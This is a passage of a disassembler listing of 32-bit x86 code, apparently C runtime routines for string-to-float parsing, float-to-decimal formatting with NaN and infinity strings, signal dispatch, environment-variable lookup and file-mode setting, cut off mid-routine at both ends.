[ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_4397B0 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_4397B0 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_4397AC, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_4397B0 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_4397AC, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_4397AC, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_4397AC, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_4397AC, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_48A2F4 mov eax, offset dword_48A2F4 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_48A2F0 mov eax, offset dword_48A2F0 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_48A2F8 mov eax, offset dword_48A2F8 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_48A2EC mov eax, offset dword_48A2EC loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_48A0C8 and dword_48A0C8, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_43BC1C mov dword_43BC1C, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_43BC10 mov ecx, dword_43BC14 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43BBA0h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_43BC1C push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_48A0C8, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_43BC1C, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB9C, edx push esi mov eax, offset dword_43BB98 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_48B690, 0 push ebx push esi mov esi, dword_48A03C push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_48A044, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_48A03C test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_421E27 ; --------------------------------------------------------------------------- loc_421E25: ; CODE XREF: sub_421DAE+10j ; sub_421DAE+1Cj ... xor eax, eax loc_421E27: ; CODE XREF: sub_421DAE+75j pop edi pop esi pop ebx retn sub_421DAE endp ; =============== S U B R O U T I N E ======================================= sub_421E2B proc near ; CODE XREF: sub_4211F1+8Bp ; sub_4211F1+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 jnb short loc_421E92 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_421E92 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421E6B and cl, 7Fh jmp short loc_421E78 ; --------------------------------------------------------------------------- loc_421E6B: ; CODE XREF: sub_421E2B+39j cmp [esp+4+arg_4], 4000h jnz short loc_421E86 or cl, 80h loc_421E78: ; CODE XREF: sub_421E2B+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_421E86: ; CODE XREF: sub_421E2B+48j mov dword_48A014, 16h jmp short loc_421E9C ; --------------------------------------------------------------------------- loc_421E92: ; CODE XREF: sub_421E2B+Bj ; sub_421E2B+27j mov dword_48A014, 9 loc_421E9C: ; CODE XREF: sub_421E2B+65j or eax, 0FFFFFFFFh pop esi retn sub_421E2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EA1 proc near ; CODE XREF: sub_4219A9+165p ; sub_4220C1+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4220A1 cmp cx, 7FFFh jnb loc_4220A1 cmp dx, 0BFFDh ja loc_4220A1 cmp dx, 3FBFh ja short loc_421F0A xor eax, eax jmp short loc_421F44 ; --------------------------------------------------------------------------- loc_421F0A: ; CODE XREF: sub_421EA1+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_421F2C inc [ebp+arg_0] test [esi+8], edx jnz short loc_421F2C xor eax, eax cmp [esi+4], eax jnz short loc_421F2E cmp [esi], eax jnz short loc_421F2E jmp loc_42209B ; --------------------------------------------------------------------------- loc_421F2C: ; CODE XREF: sub_421EA1+71j ; sub_421EA1+79j xor eax, eax loc_421F2E: ; CODE XREF: sub_421EA1+80j ; sub_421EA1+84j cmp cx, ax jnz short loc_421F51 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_421F51 cmp [ebx+4], eax jnz short loc_421F51 cmp [ebx], eax jnz short loc_421F51 loc_421F44: ; CODE XREF: sub_421EA1+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4220BC ; --------------------------------------------------------------------------- loc_421F51: ; CODE XREF: 